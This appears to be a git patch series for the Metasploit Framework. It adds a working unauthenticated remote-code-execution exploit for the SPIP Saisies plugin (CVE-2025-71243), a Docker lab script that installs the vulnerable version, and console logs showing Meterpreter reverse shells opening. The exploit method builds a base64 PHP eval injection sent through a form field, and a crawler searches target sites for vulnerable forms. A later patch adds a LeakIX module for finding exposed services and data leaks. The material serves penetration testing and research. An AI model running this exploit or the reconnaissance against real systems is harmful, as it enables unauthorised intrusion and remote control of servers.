+until [ -f /var/www/html/config/connect.php ]; do
+    sleep 2
+done
+sleep 5
+
+echo "[*] Installing vulnerable saisies plugin v5.11.0..."
+apt-get update -qq && apt-get install -y -qq unzip >/dev/null 2>&1
+mkdir -p "$PLUGINS_DIR"
+curl -sL "$SAISIES_URL" -o /tmp/saisies.zip
+unzip -qo /tmp/saisies.zip -d "$PLUGINS_DIR/"
+chown -R www-data:www-data "$PLUGINS_DIR/"
+
+echo "[*] Activating saisies plugin via database..."
+until mysql -h db -u spip -pspip spip -e "SELECT 1 FROM spip_meta WHERE nom='plugin' LIMIT 1" >/dev/null 2>&1; do
+    sleep 2
+done
+
+php -r '
+require "/var/www/html/vendor/autoload.php";
+$_SERVER = array_merge($_SERVER, [
+    "REQUEST_URI" => "/setup.php", "SERVER_NAME" => "localhost",
+    "SERVER_PORT" => "80", "HTTP_HOST" => "localhost",
+    "REQUEST_METHOD" => "GET", "SCRIPT_NAME" => "/setup.php",
+    "SCRIPT_FILENAME" => "/var/www/html/setup.php",
+]);
+chdir("/var/www/html");
+require "ecrire/inc_version.php";
+include_spip("base/abstract_sql");
+
+$meta = sql_getfetsel("valeur", "spip_meta", "nom=" . sql_quote("plugin"));
+$plugins = unserialize($meta);
+$plugins["SAISIES"] = [
+    "dir" => "saisies", "dir_type" => "_DIR_PLUGINS",
+    "nom" => "Saisies", "etat" => "stable", "version" => "5.11.0"
+];
+sql_updateq("spip_meta", ["valeur" => serialize($plugins), "impt" => "oui"], "nom=" . sql_quote("plugin"));
+echo "Saisies activated\n";
+array_map("unlink", glob(_DIR_TMP . "*.php") ?: []);
+'
+
+echo "[*] Creating contact form with _saisies..."
+cat > /var/www/html/formulaires/contact.php << 'FORMPHP'
+<?php
+if (!defined("_ECRIRE_INC_VERSION")) return;
+
+function formulaires_contact_saisies_dist() {
+    return [
+        ["saisie" => "input", "options" => ["nom" => "nom", "label" => "Votre nom", "obligatoire" => "oui"]],
+        ["saisie" => "selection", "options" => ["nom" => "sujet", "label" => "Sujet", "datas" => ["contact" => "Contact", "support" => "Support", "autre" => "Autre"]]],
+        ["saisie" => "textarea", "options" => ["nom" => "message", "label" => "Message", "obligatoire" => "oui", "rows" => 5]],
+    ];
+}
+function formulaires_contact_charger_dist() { return ["nom" => "", "sujet" => "", "message" => ""]; }
+function formulaires_contact_verifier_dist() { $e = []; if (!_request("nom")) $e["nom"] = "Obligatoire"; if (!_request("message")) $e["message"] = "Obligatoire"; return $e; }
+function formulaires_contact_traiter_dist() { return ["message_ok" => "Merci !"]; }
+FORMPHP
+
+mkdir -p /var/www/html/squelettes
+cat > /var/www/html/squelettes/contact.html << 'SQHTML'
+<!DOCTYPE html>
+<html><head><title>Contact</title>#INSERT_HEAD</head>
+<body><h1>Contact</h1>#FORMULAIRE_CONTACT</body>
+</html>
+SQHTML
+
+chown -R www-data:www-data /var/www/html/formulaires/ /var/www/html/squelettes/
+rm -rf /var/www/html/tmp/cache/
+
+echo "[+] Lab ready! Form at http://localhost:8888/spip.php?page=contact"
+```
+
+```bash
+chmod +x setup.sh
+docker compose up -d
+```
+
+Wait a couple of minutes for the setup script to install saisies and create the
+contact form. The form will be at `http://localhost:8888/spip.php?page=contact`.
+
+## Verification Steps
+
+1. Start `msfconsole`
+2. `use exploit/multi/http/spip_saisies_rce`
+3. `set RHOSTS 127.0.0.1`
+4. `set RPORT 8888`
+5. `set LHOST <your-ip>`
+6. `check` - verify it returns `Appears`
+7. `run` - verify a Meterpreter session opens
+
+## Options
+
+### FORM_PAGE
+
+Page containing a saisies-powered form. Set to a specific page name (e.g.
+`contact`) if you already know which page has the form, or leave as `crawl`
+(default) to automatically discover one by fetching the SPIP sitemap and
+following internal links.
+
+### CRAWL_MAX_PAGES
+
+Maximum number of pages to visit when crawling. Default is 100.
+
+## Scenarios
+
+### SPIP with Saisies 5.11.0 - PHP Meterpreter (direct page)
+
+```
+msf6 > use exploit/multi/http/spip_saisies_rce
+msf6 exploit(multi/http/spip_saisies_rce) > set RHOSTS 127.0.0.1
+RHOSTS => 127.0.0.1
+msf6 exploit(multi/http/spip_saisies_rce) > set RPORT 8889
+RPORT => 8889
+msf6 exploit(multi/http/spip_saisies_rce) > set FORM_PAGE contact
+FORM_PAGE => contact
+msf6 exploit(multi/http/spip_saisies_rce) > set LHOST 172.17.0.1
+LHOST => 172.17.0.1
+msf6 exploit(multi/http/spip_saisies_rce) > set PAYLOAD php/meterpreter/reverse_tcp
+PAYLOAD => php/meterpreter/reverse_tcp
+msf6 exploit(multi/http/spip_saisies_rce) > run
+
+[*] Started reverse TCP handler on 172.17.0.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] Saisies plugin version: 5.11.0
+[+] The target appears to be vulnerable. Saisies plugin 5.11.0 is in the vulnerable range (5.4.0 - 5.11.0).
+[+] Form found at /spip.php?page=contact
+[*] Sending payload...
+[*] Sending stage (42137 bytes) to 172.18.0.3
+[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.18.0.3:46968) at 2026-02-21 09:23:35 +0100
+
+meterpreter >
+```
+
+### SPIP with Saisies 5.11.0 - PHP Meterpreter (crawl mode)
+
+```
+msf6 > use exploit/multi/http/spip_saisies_rce
+msf6 exploit(multi/http/spip_saisies_rce) > set RHOSTS 127.0.0.1
+RHOSTS => 127.0.0.1
+msf6 exploit(multi/http/spip_saisies_rce) > set RPORT 8889
+RPORT => 8889
+msf6 exploit(multi/http/spip_saisies_rce) > set FORM_PAGE crawl
+FORM_PAGE => crawl
+msf6 exploit(multi/http/spip_saisies_rce) > set LHOST 172.17.0.1
+LHOST => 172.17.0.1
+msf6 exploit(multi/http/spip_saisies_rce) > set PAYLOAD php/meterpreter/reverse_tcp
+PAYLOAD => php/meterpreter/reverse_tcp
+msf6 exploit(multi/http/spip_saisies_rce) > run
+
+[*] Started reverse TCP handler on 172.17.0.1:4444
+[*] Running automatic check ("set AutoCheck false" to disable)
+[*] Saisies plugin version: 5.11.0
+[+] The target appears to be vulnerable. Saisies plugin 5.11.0 is in the vulnerable range (5.4.0 - 5.11.0).
+[*] Crawling for saisies forms (max 100 pages)...
+[+] Form found at /spip.php?page=contact (checked 3 pages)
+[*] Sending payload...
+[*] Sending stage (42137 bytes) to 172.18.0.3
+[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.18.0.3:50544) at 2026-02-21 09:23:53 +0100
+
+meterpreter >
+```
diff --git a/lib/msf/core/exploit/remote/http/spip.rb b/lib/msf/core/exploit/remote/http/spip.rb
index 2b147fb8097b5..141f59f3c0f94 100644
--- a/lib/msf/core/exploit/remote/http/spip.rb
+++ b/lib/msf/core/exploit/remote/http/spip.rb
@@ -60,6 +60,28 @@ def spip_plugin_version(plugin_name)
       config_res = send_request_cgi('method' => 'GET', 'uri' => config_url)
       return parse_plugin_version(config_res.body, plugin_name) if config_res&.code == 200
 
+      # Case 3: Try fetching paquet.xml directly from common plugin paths
+      parse_paquet_xml_version(plugin_name)
+    end
+
+    # Attempt to read the plugin version from its paquet.xml file.
+    # Plugins can be installed under plugins/ or plugins/auto/.
+    #
+    # @param [String] plugin_name Name of the plugin directory
+    # @return [Rex::Version, nil] Version from the paquet.xml prefix attribute, or nil
+    def parse_paquet_xml_version(plugin_name)
+      %W[
+        plugins/#{plugin_name}/paquet.xml
+        plugins/auto/#{plugin_name}/paquet.xml
+      ].each do |path|
+        res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, path))
+        next unless res&.code == 200
+
+        if res.body =~ /prefix="#{plugin_name}"/ && res.body =~ /version="(\d+(?:\.\d+)+)"/
+          return Rex::Version.new(::Regexp.last_match(1))
+        end
+      end
+
       nil
     end
 
diff --git a/modules/exploits/multi/http/spip_saisies_rce.rb b/modules/exploits/multi/http/spip_saisies_rce.rb
new file mode 100644
index 0000000000000..de5af7b054f54
--- /dev/null
+++ b/modules/exploits/multi/http/spip_saisies_rce.rb
@@ -0,0 +1,228 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Payload::Php
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::Remote::HTTP::Spip
+  prepend Msf::Exploit::Remote::AutoCheck
+
+  FORM_PARAM = '_anciennes_valeurs'.freeze
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'SPIP Saisies Plugin Unauthenticated RCE',
+        'Description' => %q{
+          This module exploits an unauthenticated PHP code injection in the SPIP
+          Saisies plugin (CVE-2025-71243). The _anciennes_valeurs form parameter is
+          interpolated unsanitized into a hidden field rendered with
+          interdire_scripts=false, allowing direct PHP code execution via template
+          eval.
+
+          Exploitation requires a publicly accessible page containing a
+          saisies-powered form, most commonly created with the Formidable plugin.
+          Use the FORM_PAGE option to specify a known form page, or set it to
+          'crawl' to automatically discover one by following internal links from
+          the SPIP sitemap.
+
+          Versions 5.4.0 through 5.11.0 of the saisies plugin are affected.
+        },
+        'Author' => [
+          'OpenStudio', # Discovery
+          'Valentin Lobstein <chocapikk[at]leakix.net>' # PoC and Metasploit module
+        ],
+        'License' => MSF_LICENSE,
+        'References' => [
+          ['CVE', '2025-71243'],
+          ['URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-pour-le-plugin-Saisies.html'],
+          ['URL', 'https://plugins.spip.net/saisies']
+        ],
+        'Targets' => [
+          [
+            'PHP In-Memory', {
+              'Platform' => 'php',
+              'Arch' => ARCH_PHP
+              # tested with php/meterpreter/reverse_tcp
+            }
+          ],
+          [
+            'Unix/Linux Command Shell', {
+              'Platform' => %w[unix linux],
+              'Arch' => ARCH_CMD
+              # tested with cmd/linux/http/x64/meterpreter/reverse_tcp
+            }
+          ],
+          [
+            'Windows Command Shell', {
+              'Platform' => 'win',
+              'Arch' => ARCH_CMD
+              # tested with cmd/windows/http/x64/meterpreter/reverse_tcp
+            }
+          ]
+        ],
+        'DefaultTarget' => 0,
+        'Privileged' => false,
+        'DisclosureDate' => '2025-02-19',
+        'Notes' => {
+          'Stability' => [CRASH_SAFE],
+          'Reliability' => [REPEATABLE_SESSION],
+          'SideEffects' => [IOC_IN_LOGS]
+        }
+      )
+    )
+    register_options([
+      OptString.new('FORM_PAGE', [
+        true,
+        'Page containing a saisies form (e.g. "contact"), or "crawl" to auto-discover',
+        'crawl'
+      ]),
+      OptInt.new('CRAWL_MAX_PAGES', [true, 'Maximum pages to visit when crawling', 100])
+    ])
+  end
+
+  def check
+    version = spip_plugin_version('saisies')
+    unless version
+      return CheckCode::Unknown('Could not determine the saisies plugin version.')
+    end
+
+    print_status("Saisies plugin version: #{version}")
+
+    if version.between?(Rex::Version.new('5.4.0'), Rex::Version.new('5.11.0'))
+      return CheckCode::Appears("Saisies plugin #{version} is in the vulnerable range (5.4.0 - 5.11.0).")
+    end
+
+    CheckCode::Safe("Saisies plugin #{version} is not in the vulnerable range.")
+  end
+
+  # Find a page containing a saisies form (_anciennes_valeurs parameter).
+  # When FORM_PAGE is set to a specific page name, only that page is checked.
+  # When set to 'crawl', the module fetches the SPIP sitemap and follows
+  # internal links until a form is found or CRAWL_MAX_PAGES is reached.
+  def find_form_page
+    if datastore['FORM_PAGE'].downcase != 'crawl'
+      page = datastore['FORM_PAGE']
+      uri = page.start_with?('/') ? page : normalize_uri(target_uri.path, "spip.php?page=#{page}")
+      return uri if saisies_form?(uri)
+
+      fail_with(Failure::NotFound, "No saisies form found at #{uri}")
+    end
+
+    crawl_for_form
+  end
+
+  def saisies_form?(uri)
+    res = send_request_cgi('method' => 'GET', 'uri' => uri)
+    res&.code == 200 && res.body.include?(FORM_PARAM)
+  end
+
+  def crawl_for_form
+    max_pages = datastore['CRAWL_MAX_PAGES']
+    seen = Set.new
+    queue = []
+
+    # Seed with the SPIP sitemap page
+    plan_uri = normalize_uri(target_uri.path, 'spip.php?page=plan')
+    res = send_request_cgi('method' => 'GET', 'uri' => plan_uri)
+    if res&.code == 200
+      seen.add(plan_uri)
+      extract_internal_links(res).each { |link| queue << link }
+    end
+
+    # Also seed with the base URL
+    base_uri = normalize_uri(target_uri.path, 'spip.php')
+    queue << base_uri unless seen.include?(base_uri)
+
+    print_status("Crawling for saisies forms (max #{max_pages} pages)...")
+
+    until queue.empty? || seen.size >= max_pages
+      uri = queue.shift
+      next if seen.include?(uri)
+
+      seen.add(uri)
+      vprint_status("Checking #{uri}")
+
+      begin
+        res = send_request_cgi('method' => 'GET', 'uri' => uri)
+      rescue ::Rex::ConnectionError
+        next
+      end
+
+      next unless res&.code == 200
+
+      if res.body.include?(FORM_PARAM)
+        print_good("Form found at #{uri} (checked #{seen.size} pages)")
+        return uri
+      end
+
+      extract_internal_links(res).each do |link|
+        queue << link unless seen.include?(link)
+      end
+    end
+
+    fail_with(Failure::NotFound, "No saisies form found after crawling #{seen.size} pages.")
+  end
+
+  # Extract internal links from an HTML response, filtering out static assets.
+  def extract_internal_links(res)
+    links = []
+    doc = res.get_html_document
+    return links unless doc
+
+    doc.css('a[href]').each do |a|
+      href = a['href'].to_s.strip
+      next if href.empty? || href.start_with?('#', 'mailto:', 'javascript:')
+      next if href.match?(/\.(css|js|png|jpe?g|gif|svg|ico|woff2?|xml|pdf|zip|gz)(\?|$)/i)
+
+      # Resolve relative URLs to absolute paths
+      if href.start_with?('http://', 'https://')
+        # Only follow links on the same host
+        uri = begin
+          URI.parse(href)
+        rescue StandardError
+          next
+        end
+        target = begin
+          URI.parse(full_uri)
+        rescue StandardError
+          next
+        end
+        next unless uri.host == target.host
+
+        href = uri.path
+        href += "?#{uri.query}" if uri.query
+      elsif !href.start_with?('/')
+        href = normalize_uri(target_uri.path, href)
+      end
+
+      links << href
+    end
+
+    links.uniq
+  end
+
+  def exploit
+    form_uri = find_form_page
+
+    print_status('Sending payload...')
+
+    phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
+    b64 = Rex::Text.encode_base64(phped_payload)
+    tag = Rex::Text.rand_text_alpha(8)
+    injection = "#{tag}' /><?php eval(base64_decode('#{b64}')); ?><input value='#{tag}"
+
+    send_request_cgi({
+      'method' => 'POST',
+      'uri' => form_uri,
+      'vars_post' => {
+        FORM_PARAM => injection
+      }
+    }, 5)
+  end
+end

From b904419f285b086833c6c45b7efc60944ff4d153 Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <balgogan@protonmail.com>
Date: Sat, 21 Feb 2026 09:50:02 +0100
Subject: [PATCH 013/103] Fix: Update SPIP saisies doc with working lab setup

---
 .../exploit/multi/http/spip_saisies_rce.md    | 66 ++++++++-----------
 1 file changed, 28 insertions(+), 38 deletions(-)

diff --git a/documentation/modules/exploit/multi/http/spip_saisies_rce.md b/documentation/modules/exploit/multi/http/spip_saisies_rce.md
index e678e3413dae9..c13f8b2e82cc0 100644
--- a/documentation/modules/exploit/multi/http/spip_saisies_rce.md
+++ b/documentation/modules/exploit/multi/http/spip_saisies_rce.md
@@ -37,7 +37,8 @@ services:
       SPIP_ADMIN_PASS: adminadmin
       SPIP_SITE_ADDRESS: http://localhost:8888
     volumes:
-      - ./setup.sh:/docker-entrypoint-init.d/setup.sh
+      - ./setup.sh:/opt/setup.sh
+    entrypoint: ["/bin/bash", "-c", "/opt/setup.sh & exec /docker-entrypoint.sh apache2-foreground"]
     depends_on:
       db:
         condition: service_healthy
@@ -66,10 +67,10 @@ Create `setup.sh`:
 
 ```bash
 #!/bin/bash
-set -e
+# Post-install setup: install vulnerable saisies + create public form
 
 PLUGINS_DIR="/var/www/html/plugins"
-SAISIES_URL="https://files.spip.org/spip-zone/spip-contrib-extensions/saisies-d7b40-saisies-5.11.0.zip"
+SAISIES_URL="https://files.spip.org/spip-zone/spip-contrib-extensions/saisies-222af-saisies-5.10.0.zip"
 
 echo "[*] Waiting for SPIP to be fully installed..."
 until [ -f /var/www/html/config/connect.php ]; do
@@ -77,42 +78,18 @@ until [ -f /var/www/html/config/connect.php ]; do
 done
 sleep 5
 
-echo "[*] Installing vulnerable saisies plugin v5.11.0..."
+echo "[*] Installing vulnerable saisies plugin v5.10.0..."
 apt-get update -qq && apt-get install -y -qq unzip >/dev/null 2>&1
 mkdir -p "$PLUGINS_DIR"
 curl -sL "$SAISIES_URL" -o /tmp/saisies.zip
 unzip -qo /tmp/saisies.zip -d "$PLUGINS_DIR/"
 chown -R www-data:www-data "$PLUGINS_DIR/"
 
-echo "[*] Activating saisies plugin via database..."
-until mysql -h db -u spip -pspip spip -e "SELECT 1 FROM spip_meta WHERE nom='plugin' LIMIT 1" >/dev/null 2>&1; do
-    sleep 2
-done
-
-php -r '
-require "/var/www/html/vendor/autoload.php";
-$_SERVER = array_merge($_SERVER, [
-    "REQUEST_URI" => "/setup.php", "SERVER_NAME" => "localhost",
-    "SERVER_PORT" => "80", "HTTP_HOST" => "localhost",
-    "REQUEST_METHOD" => "GET", "SCRIPT_NAME" => "/setup.php",
-    "SCRIPT_FILENAME" => "/var/www/html/setup.php",
-]);
-chdir("/var/www/html");
-require "ecrire/inc_version.php";
-include_spip("base/abstract_sql");
-
-$meta = sql_getfetsel("valeur", "spip_meta", "nom=" . sql_quote("plugin"));
-$plugins = unserialize($meta);
-$plugins["SAISIES"] = [
-    "dir" => "saisies", "dir_type" => "_DIR_PLUGINS",
-    "nom" => "Saisies", "etat" => "stable", "version" => "5.11.0"
-];
-sql_updateq("spip_meta", ["valeur" => serialize($plugins), "impt" => "oui"], "nom=" . sql_quote("plugin"));
-echo "Saisies activated\n";
-array_map("unlink", glob(_DIR_TMP . "*.php") ?: []);
-'
+echo "[*] Activating saisies plugin..."
+echo "yes" | spip plugins:activer saisies
 
 echo "[*] Creating contact form with _saisies..."
+mkdir -p /var/www/html/formulaires
 cat > /var/www/html/formulaires/contact.php << 'FORMPHP'
 <?php
 if (!defined("_ECRIRE_INC_VERSION")) return;
@@ -129,6 +106,19 @@ function formulaires_contact_verifier_dist() { $e = []; if (!_request("nom")) $e
 function formulaires_contact_traiter_dist() { return ["message_ok" => "Merci !"]; }
 FORMPHP
 
+cat > /var/www/html/formulaires/contact.html << 'FORMHTML'
+<div class="formulaire_spip formulaire_contact">
+[(#ENV{message_ok}|oui)<p class="reponse_formulaire reponse_formulaire_ok">[(#ENV{message_ok})]</p>]
+[(#ENV{editable}|oui)
+<form method="post" action="#ENV{action}"><div>
+#ACTION_FORMULAIRE{#ENV{action},#ENV{form}}
+<INCLURE{fond=inclure/generer_saisies,env} />
+<p class="boutons"><input type="submit" value="Envoyer" /></p>
+</div></form>
+]
+</div>
+FORMHTML
+
 mkdir -p /var/www/html/squelettes
 cat > /var/www/html/squelettes/contact.html << 'SQHTML'
 <!DOCTYPE html>
@@ -148,7 +138,7 @@ chmod +x setup.sh
 docker compose up -d
 ```
 
-Wait a couple of minutes for the setup script to install saisies and create the
+Wait about a minute for the setup script to install saisies and create the
 contact form. The form will be at `http://localhost:8888/spip.php?page=contact`.
 
 ## Verification Steps
@@ -176,7 +166,7 @@ Maximum number of pages to visit when crawling. Default is 100.
 
 ## Scenarios
 
-### SPIP with Saisies 5.11.0 - PHP Meterpreter (direct page)
+### SPIP with Saisies 5.10.0 - PHP Meterpreter (direct page)
 
 ```
 msf6 > use exploit/multi/http/spip_saisies_rce
@@ -194,8 +184,8 @@ msf6 exploit(multi/http/spip_saisies_rce) > run
 
 [*] Started reverse TCP handler on 172.17.0.1:4444
 [*] Running automatic check ("set AutoCheck false" to disable)
-[*] Saisies plugin version: 5.11.0
-[+] The target appears to be vulnerable. Saisies plugin 5.11.0 is in the vulnerable range (5.4.0 - 5.11.0).
+[*] Saisies plugin version: 5.10.0
+[+] The target appears to be vulnerable. Saisies plugin 5.10.0 is in the vulnerable range (5.4.0 - 5.11.0).
 [+] Form found at /spip.php?page=contact
 [*] Sending payload...
 [*] Sending stage (42137 bytes) to 172.18.0.3
@@ -204,7 +194,7 @@ msf6 exploit(multi/http/spip_saisies_rce) > run
 meterpreter >
 ```
 
-### SPIP with Saisies 5.11.0 - PHP Meterpreter (crawl mode)
+### SPIP with Saisies 5.10.0 - PHP Meterpreter (crawl mode)
 
 ```
 msf6 > use exploit/multi/http/spip_saisies_rce
@@ -222,8 +212,8 @@ msf6 exploit(multi/http/spip_saisies_rce) > run
 
 [*] Started reverse TCP handler on 172.17.0.1:4444
 [*] Running automatic check ("set AutoCheck false" to disable)
-[*] Saisies plugin version: 5.11.0
-[+] The target appears to be vulnerable. Saisies plugin 5.11.0 is in the vulnerable range (5.4.0 - 5.11.0).
+[*] Saisies plugin version: 5.10.0
+[+] The target appears to be vulnerable. Saisies plugin 5.10.0 is in the vulnerable range (5.4.0 - 5.11.0).
 [*] Crawling for saisies forms (max 100 pages)...
 [+] Form found at /spip.php?page=contact (checked 3 pages)
 [*] Sending payload...

From 53652b3e3b05eac176705648c936fcb3dec8148d Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <balgogan@protonmail.com>
Date: Sat, 21 Feb 2026 09:50:50 +0100
Subject: [PATCH 014/103] Fix: Update SPIP saisies doc with working lab setup

---
 documentation/modules/exploit/multi/http/spip_saisies_rce.md | 2 --
 1 file changed, 2 deletions(-)

diff --git a/documentation/modules/exploit/multi/http/spip_saisies_rce.md b/documentation/modules/exploit/multi/http/spip_saisies_rce.md
index c13f8b2e82cc0..8b0d65f662e8f 100644
--- a/documentation/modules/exploit/multi/http/spip_saisies_rce.md
+++ b/documentation/modules/exploit/multi/http/spip_saisies_rce.md
@@ -67,8 +67,6 @@ Create `setup.sh`:
 
 ```bash
 #!/bin/bash
-# Post-install setup: install vulnerable saisies + create public form
-
 PLUGINS_DIR="/var/www/html/plugins"
 SAISIES_URL="https://files.spip.org/spip-zone/spip-contrib-extensions/saisies-222af-saisies-5.10.0.zip"
 

From 692a79a49fb42289c55b3bb20f7b4cb7210b23ee Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <balgogan@protonmail.com>
Date: Sat, 21 Feb 2026 10:45:35 +0100
Subject: [PATCH 015/103] Feat: Add LeakIX search module

Add auxiliary/gather/leakix_search module with 6 actions:
SEARCH, HOST, DOMAIN, SUBDOMAINS, PLUGINS, and BULK streaming.
Includes chunked NDJSON streaming for bulk API, MAXRESULTS
limiting, subdomain enumeration, and database reporting.
---
 .../modules/auxiliary/gather/leakix_search.md | 255 +++++++++
 modules/auxiliary/gather/leakix_search.rb     | 515 ++++++++++++++++++
 2 files changed, 770 insertions(+)
 create mode 100644 documentation/modules/auxiliary/gather/leakix_search.md
 create mode 100644 modules/auxiliary/gather/leakix_search.rb

diff --git a/documentation/modules/auxiliary/gather/leakix_search.md b/documentation/modules/auxiliary/gather/leakix_search.md
new file mode 100644
index 0000000000000..843b6d0a7567a
--- /dev/null
+++ b/documentation/modules/auxiliary/gather/leakix_search.md
@@ -0,0 +1,255 @@
+## Vulnerable Application
+
+This module uses the [LeakIX](https://leakix.net) API to search for exposed services
+and data leaks across the internet. LeakIX indexes internet-facing services and leaked
+credentials/databases, similar to Shodan or Censys but with a focus on data leaks.
+
+An API key is required. Free keys are available at [https://leakix.net](https://leakix.net).
+Pro keys unlock the BULK streaming action and higher page limits.
+
+The module supports six actions:
+
+- **SEARCH** - Query LeakIX with a search string (leak or service scope). Paginated, 20 results per page, max 500 pages.
+- **HOST** - Retrieve all known services and leaks for a specific IP address.
+- **DOMAIN** - Retrieve all known services and leaks for a specific domain.
+- **SUBDOMAINS** - Enumerate known subdomains for a domain.
+- **PLUGINS** - List all available LeakIX scanner plugins (useful for building queries).
+- **BULK** - Stream all leak results via the bulk NDJSON API (Pro only, leak scope only).
+
+## Verification Steps
+
+1. Do: `use auxiliary/gather/leakix_search`
+1. Do: `set LEAKIX_APIKEY <your-api-key>`
+1. Do: `set QUERY +country:"France" +port:3306`
+1. Do: `run`
+1. Verify that results are returned in a table with IP, port, protocol, host, country, organization, software, type, and source columns.
+
+## Options
+
+### LEAKIX_APIKEY
+
+The LeakIX API key. Required for all actions. Free keys are available at [https://leakix.net](https://leakix.net).
+
+### QUERY
+
+The search query string. Required for SEARCH and BULK actions. Uses LeakIX query syntax:
+
+- `+country:"France"` - filter by country
+- `+port:3306` - filter by port
+- `plugin:HttpOpenProxy` - filter by plugin name
+- `+software.name:"nginx" +country:"US"` - combine filters
+
+### SCOPE
+
+Search scope: `leak` or `service`. Default is `leak`. The BULK action only supports `leak` scope.
+
+### MAXPAGE
+
+Maximum number of pages to collect for SEARCH (1-500, 20 results per page). Default is 1. The API enforces a hard limit of 500 pages regardless of plan.
+
+### MAXRESULTS
+
+Stop collecting after this many results. Works with SEARCH and BULK. Set to 0 (default) for unlimited.
+
+### TARGET_IP
+
+Target IP address for the HOST action.
+
+### TARGET_DOMAIN
+
+Target domain for the DOMAIN and SUBDOMAINS actions.
+
+### OUTFILE
+
+Path to save the results table output.
+
+### DATABASE
+
+Set to `true` to add discovered hosts and services to the Metasploit database.
+
+## Scenarios
+
+### SEARCH - Find exposed MySQL servers in France
+
+```
+msf6 > use auxiliary/gather/leakix_search
+msf6 auxiliary(gather/leakix_search) > set LEAKIX_APIKEY <redacted>
+LEAKIX_APIKEY => <redacted>
+msf6 auxiliary(gather/leakix_search) > set QUERY +country:"France" +port:3306
+QUERY => +country:"France" +port:3306
+msf6 auxiliary(gather/leakix_search) > set SCOPE service
+SCOPE => service
+msf6 auxiliary(gather/leakix_search) > run
+
+[*] Fetching page 1/1...
+[+] Got 20 results from page 1 (total: 20)
+[*] Total: 20 results
+
+LeakIX Results
+==============
+
+ IP:Port              Protocol  Host                  Country  Organization         Software   Type     Source
+ ------              --------  ----                  -------  ------------         --------   ----     ------
+ x.x.x.x:3306        mysql     db.example.com        France   OVH SAS              MySQL 5.7  service  MysqlOpenPlugin
+ x.x.x.x:3306        mysql     server2.example.fr    France   Online S.A.S.        MySQL 8.0  service  MysqlOpenPlugin
+ ...
+
+[*] Auxiliary module execution completed
+```
+
+### HOST - Lookup a specific IP
+
+```
+msf6 auxiliary(gather/leakix_search) > set ACTION HOST
+ACTION => HOST
+msf6 auxiliary(gather/leakix_search) > set TARGET_IP 1.2.3.4
+TARGET_IP => 1.2.3.4
+msf6 auxiliary(gather/leakix_search) > run
+
+[*] Fetching host details for 1.2.3.4...
+[*] 1.2.3.4: 3 results
+
+LeakIX Results
+==============
+
+ IP:Port          Protocol  Host            Country        Organization  Software    Type     Source
+ ------          --------  ----            -------        ------------  --------    ----     ------
+ 1.2.3.4:22       ssh       host.example    United States  Example Inc   OpenSSH 8   service  SshOpenPlugin
+ 1.2.3.4:80       http      host.example    United States  Example Inc   nginx 1.18  service  HttpOpenPlugin
+ 1.2.3.4:443      https     host.example    United States  Example Inc   nginx 1.18  service  HttpOpenPlugin
+
+[*] Auxiliary module execution completed
+```
+
+### DOMAIN - Lookup a specific domain
+
+```
+msf6 auxiliary(gather/leakix_search) > set ACTION DOMAIN
+ACTION => DOMAIN
+msf6 auxiliary(gather/leakix_search) > set TARGET_DOMAIN example.com
+TARGET_DOMAIN => example.com
+msf6 auxiliary(gather/leakix_search) > run
+
+[*] Fetching domain details for example.com...
+[*] example.com: 5 results
+
+LeakIX Results
+==============
+
+ IP:Port              Protocol  Host                  Country        Organization  Software       Type     Source
+ ------              --------  ----                  -------        ------------  --------       ----     ------
+ x.x.x.x:443         https     www.example.com       United States  Example Inc   nginx 1.21    service  HttpOpenPlugin
+ x.x.x.x:22          ssh       mail.example.com      United States  Example Inc   OpenSSH 8.4   service  SshOpenPlugin
+ ...
+
+[*] Auxiliary module execution completed
+```
+
+### SUBDOMAINS - Enumerate subdomains
+
+```
+msf6 auxiliary(gather/leakix_search) > set ACTION SUBDOMAINS
+ACTION => SUBDOMAINS
+msf6 auxiliary(gather/leakix_search) > set TARGET_DOMAIN example.com
+TARGET_DOMAIN => example.com
+msf6 auxiliary(gather/leakix_search) > run
+
+[*] Fetching subdomains for example.com...
+[*] Found 12 subdomains
+
+Subdomains for example.com
+===========================
+
+ Subdomain              Distinct IPs  Last Seen
+ ---------              ------------  ---------
+ www.example.com         2             2025-01-15T10:30:00Z
+ mail.example.com        1             2025-01-14T08:22:00Z
+ api.example.com         3             2025-01-15T12:00:00Z
+ dev.example.com         1             2025-01-10T06:15:00Z
+ ...
+
+[*] Auxiliary module execution completed
+```
+
+### PLUGINS - List available plugins
+
+```
+msf6 auxiliary(gather/leakix_search) > set ACTION PLUGINS
+ACTION => PLUGINS
+msf6 auxiliary(gather/leakix_search) > run
+
+[*] Fetching available plugins...
+[*] Found 45 plugins
+
+LeakIX Plugins
+===============
+
+ Plugin Name
+ -----------
+ ApacheStatusPlugin
+ CouchDbOpenPlugin
+ ElasticSearchOpenPlugin
+ GitConfigPlugin
+ HttpOpenProxy
+ MongoOpenPlugin
+ MysqlOpenPlugin
+ SshOpenPlugin
+ ...
+
+[*] Auxiliary module execution completed
+```
+
+### BULK - Stream bulk leak results (Pro key required)
+
+```
+msf6 auxiliary(gather/leakix_search) > set ACTION BULK
+ACTION => BULK
+msf6 auxiliary(gather/leakix_search) > set QUERY +country:"Germany"
+QUERY => +country:"Germany"
+msf6 auxiliary(gather/leakix_search) > set MAXRESULTS 50
+MAXRESULTS => 50
+msf6 auxiliary(gather/leakix_search) > run
+
+[*] Streaming bulk results (Pro API required, leak scope)...
+[*] Streamed 50 events...
+[*] Reached MAXRESULTS limit (50)
+[*] Bulk results: 50 results
+
+LeakIX Results
+==============
+
+ IP:Port              Protocol  Host                    Country  Organization         Software       Type  Source
+ ------              --------  ----                    -------  ------------         --------       ----  ------
+ x.x.x.x:9200        http      elastic.example.de      Germany  Hetzner Online GmbH  Elastic 7.10   leak  ElasticSearchOpenPlugin
